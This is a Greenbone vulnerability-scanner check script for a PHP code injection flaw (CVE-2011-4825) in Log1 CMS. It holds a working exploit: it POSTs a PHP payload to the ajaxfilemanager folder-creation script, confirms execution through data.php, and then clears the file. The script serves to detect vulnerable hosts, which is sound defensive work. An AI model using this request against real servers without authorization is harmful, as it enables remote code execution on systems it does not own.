Log1 CMS <= 2.0 PHP Code Injection Vulnerability - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103496");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2012-06-18 17:36:01 +0100 (Mon, 18 Jun 2012)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2011-4825");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Log1 CMS <= 2.0 PHP Code Injection Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Log1 CMS is prone to a remote PHP code injection
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute
  arbitrary PHP code in the context of the affected application. This may facilitate a compromise
  of the application and the underlying system, other attacks are also possible.");

  script_tag(name:"affected", value:"Log1 CMS version 2.0 and probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50523");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_php( port:port ) )
  exit( 0 );

host = http_host_name( port:port );
ex = "bla=1&blub=2&foo=<?php phpinfo(); ?>";

foreach dir( make_list_unique( "/cms", http_cgi_dirs( port:port ) ) ) {
  if( dir == "/" )
    dir = "";

  res = http_get_cache( port:port, item:dir + "/index.php" );
  if( ! res || res !~ "^HTTP/1\.[01] 200" )
    continue;

  filename = dir + "/admin/libraries/ajaxfilemanager/ajax_create_folder.php";

  req = string("POST ", filename, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "Accept-Encoding: identity\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n",
               "Content-Length: ", strlen(ex),
               "\r\n\r\n",
               ex);
  result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

  if(result =~ "^HTTP/1\.[01] 200") {

    url = dir + "/admin/libraries/ajaxfilemanager/inc/data.php";
    req = http_get( item:url, port:port );
    res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( "<title>phpinfo()" >< res ) {

      # clean the data.php on success by sending empty POST...
      ex = string("");

      req = string("POST ", filename, " HTTP/1.1\r\n",
                   "Host: ", host, "\r\n",
                   "Accept-Encoding: identity\r\n",
                   "Content-Type: application/x-www-form-urlencoded\r\n",
                   "Content-Length: ", strlen(ex),
                   "\r\n\r\n",
                   ex);
      http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );